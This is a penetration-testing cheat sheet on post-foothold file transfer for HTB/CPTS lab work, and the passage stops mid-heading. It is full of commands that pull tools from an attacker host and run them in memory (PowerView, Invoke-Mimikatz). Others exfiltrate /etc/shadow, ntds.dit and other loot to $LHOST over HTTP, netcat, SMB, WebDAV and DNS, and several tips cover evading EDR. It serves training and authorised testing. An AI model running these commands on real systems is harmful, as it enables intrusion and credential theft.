foothold-file-transfers.md (37104B)
1 --- 2 title: "Foothold Toolkit — File Transfers" 3 description: "CPTS attack-flow reference for foothold toolkit — file transfers in an authorised engagement." 4 category: pentest-workflow 5 subcategory: "CPTS Attack Flow" 6 order: 4 7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-foothold", "pentest-workflow"] 8 tools: ["curl", "wget", "scp", "Impacket", "certutil", "updog", "pyftpdlib", "evil-winrm", "xfreerdp"] 9 difficulty: intermediate 10 updated: "2026-08-29" 11 source: "vault:Pentest Attack Flow/04 - Foothold Toolkit - File Transfers.md" 12 --- 13 > [!dashboard] Attack-flow navigation 14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 15 > 16 > **Section:** 04 of 17 · **Focus:** Foothold Toolkit — File Transfers 17 > 18 > **Previous:** [Stage 02 — Web Enumeration and Exploitation](/sheets/pentest-workflow/web-enumeration-and-exploitation) · **Next:** [Foothold Toolkit — Shells, Payloads, and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) 19 20 --- 21 # 📦 FOOTHOLD TOOLKIT — File Transfers 22 23 Got a foothold (web shell, `nc` callback, RCE one-liner) and now need to drag tooling *onto* the box or drag loot *off* it. Which port/protocol survives the firewall decides the method — HTTP/S almost always egresses, SMB (445) is often blocked outbound in enterprise, FTP is dying. Decide the **direction** before the tool: if the target can't reach me outbound, I make *it* listen and connect *to* it; if inbound to the target is filtered, I host on my box and have the target pull. Deep dives: 3 - Linux File Transfer Methods · 2 - Windows File Transfer Methods · 4 - Transferring Files with Code · 5 - Miscellaneous File Transfer Methods · 6 - Living off the Land & Evading Detection. 24 25 > [!note] Direction & serve-quickref 26 > `$LHOST` = my tun0, `$IP` = target. On Windows blocks `%LHOST%` = "sub my attack IP here" (Win shells don't expand `$LHOST`). Stand up one of these on the Pwnbox, then have the target pull: 27 > ```bash 28 > python3 -m http.server 80 --bind 0.0.0.0 # HTTP host (also line ~518/638 in guide) 29 > php -S 0.0.0.0:8000 # if python's taken 30 > ruby -run -ehttpd . -p8000 # ruby fallback 31 > busybox httpd -f -p 8080 # zero-dep fallback on minimal attack boxes/containers 32 > python3 -m uploadserver 443 --server-certificate ~/server.pem # HTTPS + /upload catch 33 > sudo impacket-smbserver share -smb2support /tmp/smbshare # SMB share 34 > ``` 35 > Always `md5sum`/`Get-FileHash` both ends after a paste or a flaky channel — copy-paste corruption and ASCII-mode FTP mangling are silent. 36 37 > [!tools] Stage this (from `attachments/`) 38 > [nc64.exe](/downloads/pentest-workflow/nc64.exe) ([SHA-256](/downloads/pentest-workflow/nc64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/nc64.exe.sha256.asc)) 39 > Windows-side netcat for the raw-socket transfer and reverse-shell patterns below. Verify against the vault integrity record before staging anything onto a target: 40 > [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc)) 41 > SHA256-verify every staged binary: `sha256sum -c SHA256SUMS.txt --ignore-missing` on the attack box, `Get-FileHash -Algorithm SHA256` on Windows targets. A corrupted `nc64.exe` transfer wastes a shell; a tampered one burns the op. 42 43 --- 44 45 ## 🧭 Choose the channel — decision table 46 47 Read egress and host context **before** generating a payload. Wrong channel = dropped connection = lost shell. **MITRE:** T1105 (Ingress Tool Transfer), T1041/T1048 (Exfiltration), T1071 (Application Layer Protocols). 48 49 | Situation on target | Channel | Why / caveats | 50 |---|---|---| 51 | Normal egress, HTTP/HTTPS out allowed | HTTP(S): `curl`/`wget`, PS `WebClient`/`IWR` | Default choice; watch proxy auth and TLS inspection | 52 | Domain-joined Windows, SMB to my box routable | impacket `smbserver.py` + `copy \\$LHOST\share\` | 445 often blocked *outbound* from user VLANs — test, don't assume | 53 | HTTP dead but 21/69 reachable (legacy/OT) | FTP (`pyftpdlib`) / TFTP (`atftpd`) | Plaintext, no integrity; TFTP is UDP — verify hash after | 54 | Only one arbitrary port open (e.g. 443 free) | `nc`/`socat`/`openssl s_server` raw socket | No resume, no integrity — compress + hash | 55 | Egress fully blocked, I have a route **in** | Bind-style: target listens, I push (`nc -l`, `smbserver` on *target* side via scp) | Inbound filtering on target may still bite; try high ports | 56 | I hold creds/keys on the target | SSH (`scp`/`sftp`/`rsync`), WinRM (`Copy-Item -ToSession`, [evil-winrm](https://github.com/Hackplayers/evil-winrm) upload) | Encrypted, authenticated, quietest option when available | 57 | Existing RDP session (GUI access) | [xfreerdp](https://github.com/FreeRDP/FreeRDP) `/drive:` redirect → `\\tsclient\` | Zero new network flows; rides the session I already have | 58 | Meterpreter session up | `upload`/`download` in-channel | No new ports, encrypted C2 channel, chunked + resumable | 59 | Huge file over flaky link | Compress first (`tar czf`, `Compress-Archive`), then any channel | Fewer bytes = fewer chances to die mid-transfer | 60 | Everything filtered except DNS | DNS exfil concept ([dnscat2](https://github.com/iagox86/dnscat2)) | Slow (bytes/sec); last resort, very noisy per-byte | 61 | No network at all, paste channel only | base64 chunked copy-paste | `cmd.exe` 8,191-char ceiling; small files only, hash-verify | 62 63 **Port-choice heuristic:** 443 first (blends with HTTPS egress), then 80, then 53/123 (DNS/NTP-shaped), then whatever the foothold itself arrived on (that port is *proven* routable). Avoid "hacker ports" (4444, 1337) on real engagements — they're watchlisted; fine in the lab because HTB boxes rarely egress-filter at all. On the Pwnbox, remember ports <1024 need `sudo` to bind. 64 65 > [!tip] CPTS exam tip 66 > The exam boxes usually leave **80/443 egress open** — `python3 -m http.server` + `curl`/`certutil` solves 90% of transfers. Practice the `impacket-smbserver` + `net use` dance anyway: it's the intended path whenever the scenario drops you on a Windows host with shared tooling, and it doubles as the delivery mechanism for DLL-hijack and coercion chains in [Stage 09](/sheets/pentest-workflow/privilege-escalation) and [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). 67 68 --- 69 70 ### Hosting files from the Pwnbox — server matrix 71 72 **What to look for** → on *my* side: which port is free (`ss -lntup | grep -E ':80|:443'`), whether I need upload *and* download, TLS or not, and whether my own host firewall is in the way. **MITRE:** T1105 (Ingress Tool Transfer) — the server half of the same technique. 73 74 | Server | One-liner | Upload? | TLS? | Use when | 75 |---|---|---|---|---| 76 | python3 http.server | `python3 -m http.server 80 --bind 0.0.0.0` | ❌ | ❌ | The default; GET-only, logs every hit | 77 | [updog](https://github.com/sc0tfree/updog) | `updog -p 443 --ssl` | ✅ | ✅ | http.server with a drop-in upload form + TLS | 78 | python3 uploadserver | `python3 -m uploadserver 8000` | ✅ (`/upload`) | ✅ (`--server-certificate`) | Multipart POST catcher, token auth option | 79 | php built-in | `php -S 0.0.0.0:8000` | ❌ | ❌ | When python3 is absent/busy | 80 | busybox httpd | `busybox httpd -f -p 8080` | ❌ | ❌ | Minimal containers, no full python | 81 | ruby httpd | `ruby -run -ehttpd . -p8000` | ❌ | ❌ | Last-ditch fallback | 82 | impacket smbserver | `sudo impacket-smbserver share -smb2support /tmp/smb` | ✅ (copy back) | n/a | Windows targets, UNC path delivery | 83 | [pyftpdlib](https://github.com/giampaolo/pyftpdlib) | `sudo python3 -m pyftpdlib -p 21 -w` | ✅ | ❌ | Scripted `ftp.exe` targets | 84 | atftpd | `sudo atftpd --daemon --port 69 /tftpboot` | ✅ | ❌ | TFTP clients (XP-era / network boot) | 85 86 ```bash 87 # Check before binding — a stale listener is the #1 "my transfer hung" cause 88 ss -lntup | grep -E ':(80|443|8000)\b' 89 sudo fuser -k 80/tcp # free the port if an old server holds it 90 91 # Pwnbox firewall — don't forget to actually allow the port in 92 sudo iptables -I INPUT -p tcp --dport 80 -j ACCEPT # or: sudo ufw allow 80/tcp 93 ``` 94 95 > [!warning] Watch out 96 > - `--bind 0.0.0.0` matters on multi-homed setups: binding to `localhost` (some tools' default) makes the server invisible to the target and you'll chase a "target can't reach me" ghost for ten minutes. 97 > - `http.server` serves the **current working directory** — `cd` into a dedicated staging dir (`~/staging`) so you don't leak your whole home folder, and so hit-logs map cleanly to staged files. 98 > - Watch the server log line when the target pulls: **200 = served**, 404 = wrong path on the *target's* command, no log line at all = egress/filtering problem, not a typo problem. 99 100 --- 101 102 ### Linux target — pull tooling down 103 104 **What to look for** → which downloader exists: `which curl wget; type python3 php ruby perl; echo $BASH_VERSION`. Real IR data shows droppers try `curl → wget → python` in sequence — mirror that fallback ladder. 105 106 **Linux fetcher ladder (preference order)** 107 108 | Fetcher | Primitive | Pre-installed? | Notes | 109 |---|---|---|---| 110 | `curl` | HTTP/S, FTP, SCP/SFTP | Usually | `-o` output; `-s` quiet; `--insecure` for self-signed | 111 | `wget` | HTTP/S, FTP | Usually | `-O` output (capital); `-qO-` streams to stdout | 112 | `nc` + listener | Raw TCP | Often (openbsd variant) | No integrity — hash after | 113 | bash `/dev/tcp` | Raw TCP | Bash-only built-in | Survives "minimal" containers with no fetchers | 114 | `openssl s_client` | TLS raw | Very common | Fetches over TLS from `openssl s_server` | 115 | `scp`/`sftp`/`rsync` | SSH | If sshd + creds | Encrypted, authenticated, resumable (rsync) | 116 | `python3`/`php`/`perl`/`ruby` | HTTP via stdlib | One usually exists | Language one-liners below | 117 118 **Serve + fetch** 119 ```bash 120 # Pwnbox: host the dir with linpeas/pspy/nc etc. 121 python3 -m http.server 80 --bind 0.0.0.0 122 # updog (https://github.com/sc0tfree/updog) — http.server replacement with TLS + built-in /upload: 123 updog -p 443 --ssl # pip install updog; serves AND receives in one process 124 125 # Target — the two obvious ones (note -O vs -o gotcha) 126 wget http://$LHOST/linpeas.sh -O /tmp/lp.sh 127 curl -o /tmp/lp.sh http://$LHOST/linpeas.sh 128 129 # Fileless — never touches disk, pipe straight into the interpreter 130 curl -s http://$LHOST/linpeas.sh | bash 131 wget -qO- http://$LHOST/helloworld.py | python3 132 133 # No curl AND no wget? Bash's /dev/tcp built-in speaks raw HTTP 134 exec 3<>/dev/tcp/$LHOST/80 135 echo -e "GET /linpeas.sh HTTP/1.1\nHost: $LHOST\n\n" >&3 136 cat <&3 # strip headers above the blank line 137 138 # nc fallback pull (Pwnbox serves raw): nc -lvnp 80 -q 0 < linpeas.sh 139 nc $LHOST 80 > /tmp/linpeas.sh 140 141 # interpreter one-liners (when only a language runtime is present) 142 python3 -c 'import urllib.request;urllib.request.urlretrieve("http://'$LHOST'/lp.sh","lp.sh")' 143 php -r '$f=file_get_contents("http://'$LHOST'/lp.sh");file_put_contents("lp.sh",$f);' 144 ruby -e 'require "net/http";File.write("lp.sh",Net::HTTP.get(URI("http://'$LHOST'/lp.sh")))' 145 perl -e 'use LWP::Simple;getstore("http://'$LHOST'/lp.sh","lp.sh");' 146 147 # SSH family — when I hold creds or a key on the target's sshd 148 scp htb-student@$IP:/root/root.txt . # pull one file 149 sftp htb-student@$IP # interactive; get/put, -P for odd ports 150 rsync -avz -e ssh htb-student@$IP:/var/www/loot/ ./loot/ # resumable, deltas, best for big dirs 151 152 # openssl s_client as a TLS fetcher (target has openssl but no curl/wget) 153 openssl s_client -connect $LHOST:443 -quiet <<< "GET /lp.sh HTTP/1.0" | sed '1,/^\r$/d' > lp.sh 154 ``` 155 156 > [!warning] Watch out 157 > - `wget -O` (capital O, output file) vs `curl -o` (lowercase) — swap them and you clobber the wrong path. `curl -O` (capital) keeps the remote *name*. 158 > - "Fileless" is relative: payloads that `mkfifo` still drop temp files. And piping into `bash` leaves **no copy to re-inspect** — if you might need it for the report, download first. 159 > - `/dev/tcp` needs Bash ≥2.04 built with `--enable-net-redirections` (default on most distros, absent on `dash`/`sh`). 160 > - `scp` on OpenSSH ≥9 defaults to the **SFTP protocol** under the hood — ancient targets with only the legacy scp server need `scp -O`. 161 162 --- 163 164 ### Linux target — push loot out 165 166 **What to look for** → a writable landing spot on my side (`uploadserver`, updog, nginx `PUT`, an SSH user), or a listener I control. 167 168 **Exfil** 169 ```bash 170 # Pwnbox HTTPS catcher (self-signed), then multipart POST from target 171 openssl req -x509 -newkey rsa:2048 -keyout server.pem -out server.pem -nodes -sha256 -subj '/CN=server' 172 sudo python3 -m uploadserver 443 --server-certificate ~/server.pem 173 # Target — several files in one shot 174 curl -X POST https://$LHOST/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure 175 176 # nginx PUT endpoint (dav_methods PUT;) → curl -T for a raw HTTP PUT 177 curl -T /root/ntds.dit http://$LHOST:9001/SecretUploadDirectory/ntds.dit 178 179 # SCP the other direction (local→remote args just swap) 180 scp /etc/passwd htb-student@$IP:/home/htb-student/ 181 182 # Python requests one-liner upload 183 python3 -c 'import requests;requests.post("http://'$LHOST':8000/upload",files={"files":open("/etc/passwd","rb")})' 184 185 # Raw nc exfil (Pwnbox: nc -lvnp 443 > loot.tar.gz) 186 tar czf - /etc/shadow /etc/passwd | nc $LHOST 443 # compress-and-pipe in one step 187 ``` 188 189 > [!tip] Encrypt sensitive loot before it leaves — never ship raw NTDS/creds over plaintext 190 > ```bash 191 > openssl enc -aes256 -iter 100000 -pbkdf2 -in ntds.dit -out ntds.enc # decrypt: add -d 192 > ``` 193 > Use PBKDF2 + high iter (not OpenSSL's legacy KDF), unique passphrase per engagement. `age` is the sane modern alternative but rarely pre-installed. **MITRE:** T1567 (Exfiltration Over Web Service) vs T1048 (Exfiltration Over Alternative Protocol) — pick the tag that matches the channel in the report. 194 195 --- 196 197 ### Windows target — pull tooling down (cradle table) 198 199 **What to look for** → PowerShell available? then `WebClient` is fastest and most reliable. `cmd.exe` only? → `certutil`/`bitsadmin`/scripted `ftp.exe`. `Net.WebClient` is technically obsolete in .NET but still the go-to on Windows PowerShell 5.1. **MITRE:** T1105 (Ingress Tool Transfer), T1059.001 (PowerShell), T1218 (LOLBins). 200 201 **The cradle matrix — shortest path first** 202 203 | Method | One-liner | Notes / detection | 204 |---|---|---| 205 | IEX in-memory | `IEX (New-Object Net.WebClient).DownloadString('http://%LHOST%/pv.ps1')` | Fileless; AMSI scans the string at `IEX` time | 206 | WebClient to disk | `(New-Object Net.WebClient).DownloadFile('http://%LHOST%/nc64.exe','C:\Windows\Temp\nc64.exe')` | Reliable all PS versions; process-tree telemetry | 207 | IWR to disk | `iwr http://%LHOST%/nc64.exe -UseBasicParsing -OutFile nc64.exe` | Slower; needs `-UseBasicParsing` pre-IE-first-run | 208 | BITS (PS) | `Start-BitsTransfer -Source http://%LHOST%/nc64.exe -Destination C:\Temp\nc64.exe` | Resumable; `Microsoft BITS` UA is a known tell | 209 | certutil | `certutil -urlcache -split -f http://%LHOST%/nc64.exe nc64.exe` | The classic; flagged by default on modern EDR | 210 | curl.exe / wget.exe | `curl.exe -o nc64.exe http://%LHOST%/nc64.exe` | Ships in System32 since Win10 1803+ — cleanest LOLBin now | 211 | esentutl | `esentutl.exe /y \\%LHOST%\share\nc64.exe /d C:\Temp\nc64.exe /o` | Copy-via-database LOLBin; works over UNC too | 212 | mshta | `mshta http://%LHOST%/dl.hta` | Executes HTA, not a raw download — pairs with an HTA dropper | 213 | rundll32 url.dll | `rundll32 url.dll,FileProtocolHandler http://%LHOST%/nc64.exe` | Mostly an exec primitive; expect it to open in-browser, not save | 214 | scripted ftp.exe | see block below | ASCII-mode default corrupts binaries — send `binary` | 215 | cscript LOLBin | `cscript //nologo wget.vbs http://%LHOST%/nc64.exe nc64.exe` | When AppLocker blocks PowerShell | 216 217 **Fetch (PowerShell)** 218 ```powershell 219 # WebClient — works every PS version, HTTP/HTTPS/FTP 220 (New-Object Net.WebClient).DownloadFile('http://%LHOST%/nc.exe','C:\Windows\Temp\nc.exe') 221 222 # Fileless: run in memory, nothing on disk (defeats file-based AV, not AMSI/EDR) 223 IEX (New-Object Net.WebClient).DownloadString('http://%LHOST%/PowerView.ps1') 224 (New-Object Net.WebClient).DownloadString('http://%LHOST%/Invoke-Mimikatz.ps1') | IEX 225 226 # Invoke-WebRequest (iwr/curl/wget aliases) — slower, "expected" in normal PS 227 Invoke-WebRequest http://%LHOST%/PowerView.ps1 -UseBasicParsing -OutFile PowerView.ps1 228 229 # Modern curl.exe — present in C:\Windows\System32 since Win10 1803, plain and quiet-ish 230 curl.exe -s -o C:\Windows\Temp\nc64.exe http://%LHOST%/nc64.exe 231 ``` 232 **Fetch (cmd / LOLBins)** 233 ```batch 234 :: certutil — the classic "wget for Windows" (loud, AMSI-flagged; two spellings) 235 certutil.exe -urlcache -split -f http://%LHOST%/nc.exe C:\Windows\Temp\nc.exe 236 certutil.exe -verifyctl -split -f http://%LHOST%/nc.exe 237 238 :: bitsadmin 239 bitsadmin /transfer job /priority foreground http://%LHOST%/nc.exe C:\Windows\Temp\nc.exe 240 241 :: scripted ftp.exe when there's no interactive shell (Pwnbox: python3 -m pyftpdlib -p 21 -w) 242 echo open %LHOST%> ftp.txt& echo USER anonymous>> ftp.txt& echo binary>> ftp.txt& echo GET nc.exe>> ftp.txt& echo bye>> ftp.txt 243 ftp -v -n -s:ftp.txt 244 245 :: esentutl copy over UNC or HTTP-cache paths (database LOLBin) 246 esentutl.exe /y \\%LHOST%\share\nc64.exe /d C:\Windows\Temp\nc64.exe /o 247 248 :: cscript LOLBin (JScript/VBScript) when PowerShell itself is blocked by AppLocker 249 cscript.exe /nologo wget.vbs http://%LHOST%/nc.exe nc.exe 250 ``` 251 ```powershell 252 # BITS via the PS module, and GfxDownloadWrapper (Intel driver LOLBin) if present 253 Import-Module bitstransfer; Start-BitsTransfer -Source "http://%LHOST%/nc.exe" -Destination "C:\Windows\Temp\nc.exe" 254 GfxDownloadWrapper.exe "http://%LHOST%/nc.exe" "C:\Temp\nc.exe" 255 ``` 256 257 > [!warning] Watch out 258 > - `Invoke-WebRequest` on a fresh server dies with **"Internet Explorer's first-launch configuration is not complete"** — add `-UseBasicParsing`. TLS trust error? `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}` before the download. 259 > - **certutil & bitsadmin are the most-taught AND most-detected LOLBins** — modern AMSI/EDR flags them out of the box (`Microsoft-CryptoAPI/10.0` / `Microsoft BITS/7.8` user-agents give them away). On a monitored box prefer `Net.WebClient`, `curl.exe`, or in-memory .NET; save certutil for unmonitored/CTF. 260 > - `cmd.exe` caps command strings at **8,191 chars** — base64-paste of anything bigger silently truncates. Use a real network transfer for binaries. 261 > - `mshta`/`rundll32 url.dll` are *execution* primitives wearing a download costume — use them to trigger an HTA dropper, not to save files. 262 263 --- 264 265 ### Windows target — push loot out (incl. the smbserver + copy pattern) 266 267 **What to look for** → 445 outbound open → impacket SMB (bidirectional, cleanest). 445 blocked → WebDAV rides HTTP/S. No upload server → base64 POST to a bare `nc`. **MITRE:** T1021.002 (SMB/Windows Admin Shares), T1105. 268 269 **SMB via impacket-smbserver (download *and* exfil, same share)** 270 ```bash 271 # Pwnbox — anon share for older Windows... 272 sudo impacket-smbserver share -smb2support /tmp/smbshare 273 # ...but modern Windows blocks unauthenticated guest → serve WITH creds instead 274 sudo impacket-smbserver share -smb2support /tmp/smbshare -user u -password p 275 ``` 276 ```batch 277 :: pull down (guest) 278 copy \\%LHOST%\share\nc.exe C:\Windows\Temp\ 279 :: guest-access error? map an authed drive, then copy 280 net use n: \\%LHOST%\share /user:u p 281 copy n:\nc.exe C:\Windows\Temp\ 282 :: exfil — just copy the OTHER way, into the same share 283 copy C:\Users\john\Desktop\SourceCode.zip \\%LHOST%\share\ 284 :: tidy up the mapped drive when done (OPSEC: don't leave creds cached) 285 net use n: /delete 286 ``` 287 288 **WebDAV when SMB/445 is filtered** (rides HTTP, `DavWWWRoot` is a shell keyword, not a folder) 289 ```bash 290 sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous 291 ``` 292 ```batch 293 dir \\%LHOST%\DavWWWRoot 294 copy C:\loot\SourceCode.zip \\%LHOST%\DavWWWRoot\ 295 ``` 296 297 **PowerShell upload (no native upload cmdlet — pair with a server, or POST base64 to nc)** 298 ```powershell 299 # PSUpload against uploadserver's /upload 300 IEX(New-Object Net.WebClient).DownloadString('http://%LHOST%/PSUpload.ps1') 301 Invoke-FileUpload -Uri http://%LHOST%:8000/upload -File C:\Windows\System32\drivers\etc\hosts 302 303 # no upload server needed — base64 the file, POST the body, catch with bare nc 304 $b64 = [Convert]::ToBase64String((Get-Content -Path 'C:\loot\hosts' -Encoding Byte)) 305 Invoke-WebRequest -Uri http://%LHOST%:8000/ -Method POST -Body $b64 306 307 # certreq.exe LOLBin — POST any file to a listener 308 ``` 309 ```batch 310 certreq.exe -Post -config http://%LHOST%:8000/ C:\Windows\win.ini 311 ``` 312 ```bash 313 # Pwnbox — catch the base64/certreq POST body, then decode 314 nc -lvnp 8000 315 echo '<base64 from request body>' | base64 -d > hosts 316 ``` 317 318 > [!warning] Watch out 319 > - A guest-access failure on `copy \\ip\share\file` is a **signal**, not a dead end — the target enforces SMB signing/guest-block. Pivot to authed SMB (`net use`) or WebDAV, don't assume SMB is unreachable. 320 > - `impacket-smbserver` is also how you serve DLLs for hijack/coercion chains (see guide STAGE 9 `smbserver.py share …`). Same tool, `-smb2support` is mandatory for modern clients. 321 > - FTP defaults to **ASCII** mode and corrupts binaries — always issue `binary` first in the scripted command file. 322 > - `net use` with `/user:` leaves the credential in the session and can pop a cached-cred artifact — `/delete` the mapping during cleanup ([Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) loot hygiene). 323 324 --- 325 326 ### FTP & TFTP — the legacy lanes 327 328 **What to look for** → `ftp`/`tftp` clients present on target (`where ftp tftp`), ports 21/69 reachable. FTP still appears on CPTS boxes and in OT/legacy estates; TFTP is mostly a Windows XP-era built-in (`tftp.exe` was removed from default installs after XP / re-optional via "TFTP Client" feature). 329 330 **Serve (Pwnbox)** 331 ```bash 332 # pyftpdlib (https://github.com/giampaolo/pyftpdlib) — writable anonymous FTP in one line 333 sudo python3 -m pyftpdlib -p 21 -w 334 # TFTP — atftpd daemon rooted at /tftpboot (UDP 69, needs sudo) 335 sudo atftpd --daemon --port 69 /tftpboot 336 ``` 337 338 **Fetch from Windows** 339 ```batch 340 :: scripted ftp.exe (non-interactive via -s:script) — binary mode is NOT optional for .exe 341 echo open %LHOST%> ftp.txt& echo USER anonymous>> ftp.txt& echo binary>> ftp.txt& echo GET nc64.exe>> ftp.txt& echo bye>> ftp.txt 342 ftp -v -n -s:ftp.txt 343 344 :: tftp.exe — Windows XP / Server 2003 era (client must be installed on modern Windows) 345 tftp -i %LHOST% GET nc64.exe 346 ``` 347 348 > [!warning] Watch out 349 > - Both protocols are **plaintext with no integrity or auth** — creds and loot are sniffable on the wire, and a dropped UDP packet in TFTP silently corrupts. Hash-verify after every TFTP pull. 350 > - FTP needs **two** channels (21 control + data port); stateful firewalls that kill "just port 21" expectations break active-mode FTP — the passive vs active mismatch is the classic "connects but `GET` hangs" failure. 351 > - On modern Windows, `tftp.exe` absent ≠ TFTP impossible — but installing the feature is itself a loud, logged change. Prefer another lane. 352 353 --- 354 355 ### No network path — base64 paste (either OS) 356 357 **What to look for** → only a copy-paste channel exists (web shell, RDP clipboard, restricted console, an SSH session I can type into but can't route through) with no reachable port either direction. Small files only (keys, scripts) — `cmd.exe`'s 8,191-char ceiling kills big pastes. **MITRE:** T1140 (Deobfuscate/Decode Files or Information). 358 359 **The standard paste-into-SSH workflow (both directions)** 360 1. **Hash the source file** (`md5sum` / `Get-FileHash`) — this hash is the receipt. 361 2. **Encode to one unbroken line**: `base64 -w 0` on Linux, `[Convert]::ToBase64String(...)` on Windows. 362 3. **Paste** into the target shell (for SSH sessions, a plain paste into `cat > f.b64` then Ctrl+D works; for web shells, POST the b64 as a parameter). 363 4. **Decode on target** and **hash again** — mismatch = wrap/paste corruption, redo in smaller chunks. 364 365 **Round-trip — hash first, encode one line, verify after** 366 ```bash 367 # Pwnbox — hash, then encode to one unbroken line 368 md5sum id_rsa; cat id_rsa | base64 -w 0; echo 369 370 # big file? chunk it so no single paste exceeds the target's command-line limit 371 split -b 51200 tool.exe part_ # then base64 -w 0 each part_* 372 ``` 373 ```powershell 374 # Windows target — decode bytes back to disk, verify hash 375 [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa",[Convert]::FromBase64String("<b64>")) 376 Get-FileHash C:\Users\Public\id_rsa -Algorithm md5 377 # chunked paste: write each part with Add-Content / certutil -decode per chunk, then reassemble: 378 # cmd> copy /b part_aa+part_ab tool.exe 379 # reverse (exfil): encode on target... 380 [Convert]::ToBase64String((Get-Content "C:\loot\hosts" -Encoding byte)) 381 ``` 382 ```bash 383 # Linux target — decode (-n on echo avoids a stray newline) 384 echo -n '<b64>' | base64 -d > id_rsa; md5sum id_rsa 385 # chunked: cat parts in order, then decode once 386 cat part_* > all.b64 && base64 -d all.b64 > tool.exe && md5sum tool.exe 387 ``` 388 389 > [!warning] Watch out 390 > Always MD5/SHA256 both ends — line-wrapping and encoding drift on paste are the classic silent failure. Use `base64 -w 0` so it's one line, and `echo -n` on decode so no extra byte sneaks in. Make hash-verify a reflex: the vault keeps `attachments/SHA256SUMS.txt` as the source-of-truth record — check staged binaries against it *before* they cross the wire, and re-hash on the target *after*. 391 392 --- 393 394 ### Alt-channel transfers (nc / TLS / WinRM / RDP / meterpreter / DNS) 395 396 **What to look for** → HTTP/SMB/FTP all blocked but *something* is reachable: a raw port for nc, WinRM (5985/5986), an existing RDP session, or a live meterpreter channel. 397 398 ```bash 399 # ── Netcat/Ncat — direction-agnostic; -q 0 / --send-only / --recv-only closes cleanly ── 400 # Windows side uses the staged nc64.exe (attachments/) — same syntax: 401 # C:\> nc64.exe -l -p 8000 > tool.exe (then push from Pwnbox) 402 # C:\> nc64.exe $LHOST 443 < loot.zip (exfil from Windows back to my listener) 403 # target listens, I push: 404 victim$ nc -l -p 8000 > tool.exe # nc -q 0 $IP 8000 < tool.exe (from Pwnbox) 405 # I listen, target pulls out (use when target inbound is blocked but outbound works): 406 sudo nc -l -p 443 -q 0 < tool.exe # victim$ nc $LHOST 443 > tool.exe 407 # no nc on target at all: 408 victim$ cat < /dev/tcp/$LHOST/443 > tool.exe 409 # nc has NO integrity — always md5sum both ends after a raw-socket transfer 410 md5sum tool.exe # run on BOTH sides, compare 411 412 # ── openssl as an nc-with-TLS (GTFOBins) — blends into 443, dodges plaintext IDS ── 413 openssl req -newkey rsa:2048 -nodes -keyout k.pem -x509 -days 365 -out c.pem 414 openssl s_server -quiet -accept 443 -cert c.pem -key k.pem < linpeas.sh 415 victim$ openssl s_client -connect $LHOST:443 -quiet > linpeas.sh 416 ``` 417 ```powershell 418 # ── WinRM (5985/5986) when HTTP+SMB dead but I have admin/Remote-Mgmt rights ── 419 $S = New-PSSession -ComputerName DATABASE01 420 Copy-Item -Path C:\tool.exe -ToSession $S -Destination C:\Windows\Temp\ # push 421 Copy-Item -Path C:\loot\DB.txt -Destination C:\ -FromSession $S # pull 422 ``` 423 ```bash 424 # evil-winrm (https://github.com/Hackplayers/evil-winrm) — built-in upload/download verbs 425 evil-winrm -i $IP -u "$U" -p "$P" 426 # *Evil-WinRM* > upload SharpHound.exe C:\\Windows\\Temp\\SharpHound.exe 427 # *Evil-WinRM* > download C:\\loot\\report.txt ./report.txt 428 429 # ── RDP drive redirection — /tsclient share, easy to forget RDP is a transfer channel ── 430 xfreerdp /v:$IP /d:$DOMAIN /u:$U /p:"$P" /drive:linux,/home/kali/rdshare 431 # → inside the session, files land at \\tsclient\linux 432 ``` 433 ```text 434 # ── meterpreter in-channel (see sibling note 05) — no new ports, encrypted, resumable ── 435 meterpreter > upload /home/kali/tools/winPEASx64.exe C:\\Windows\\Temp\\ 436 meterpreter > download C:\\loot\\ntds.enc /home/kali/loot/ 437 ``` 438 439 **DNS exfil (concept)** — when DNS (53) is the *only* thing that egresses: chunk the file, base32/hex-encode each chunk, and fire them as lookups against a domain whose authoritative NS you control (`<chunk>.exfil.$MYDOMAIN`), reassemble server-side. Frameworks: [dnscat2](https://github.com/iagox86/dnscat2), [iodine](https://github.com/yarrick/iodine). **MITRE:** T1071.004 (DNS), T1048.003. Expect bytes/second throughput and a *lot* of queries — noisy per byte; size the payload accordingly. Fine for a harvested password or a small keyfile; hopeless for `ntds.dit` — compress-and-encrypt first, then decide if DNS is really the only way out. 440 441 --- 442 443 ### Modern Windows has OpenSSH — use it 444 445 **What to look for** → Win10 1809+/Server 2019+ ship an **OpenSSH client** (`ssh.exe`, `scp.exe`, `sftp.exe` in `C:\Windows\System32\OpenSSH\`) even when the sshd *server* feature is off. If the target can egress on 22 (or I re-point my sshd to 443/80), the whole SSH transfer toolkit works *from* Windows without staging anything. 446 447 ```batch 448 :: pull from my Pwnbox sshd (sshd must be running on MY side) 449 scp.exe kali@%LHOST%:/home/kali/staging/winPEASx64.exe C:\Windows\Temp\ 450 :: push loot back the same way 451 scp.exe C:\loot\report.zip kali@%LHOST%:/home/kali/loot/ 452 ``` 453 454 ```bash 455 # Pwnbox — make sshd reachable on an egress-friendly port if 22 is filtered 456 sudo /usr/sbin/sshd -p 443 # dedicated instance alongside the stock one 457 ``` 458 459 > [!tip] Why bother: SSH gives encryption + integrity + auth in one protocol, and `scp.exe` is a signed Microsoft binary — no LOLBin stigma, no AMSI involvement. The cost is interactivity (host-key prompt, password) unless I stage a key first. **MITRE:** T1021.004 (SSH) / T1105. 460 461 --- 462 463 > [!tip] Why these earn their place 464 > WinRM/openssl/RDP/meterpreter all live on *different* ports than the HTTP/SMB/FTP a firewall usually watches. If the "normal" three are blocked but you already hold the access (admin creds → WinRM, an RDP session → drive redirect, a meterpreter session → in-channel transfer), these walk files right past the egress rules. `socat` covers the multi-hop/relay cases nc can't. RDP drive redirection writes via the session, so it shows up as `mstsc`-adjacent activity, not a new outbound flow — quiet, but it **does** leave the file on the redirected share path in logs. 465 466 --- 467 468 ### Compress first, transfer second 469 470 **What to look for** → big loot 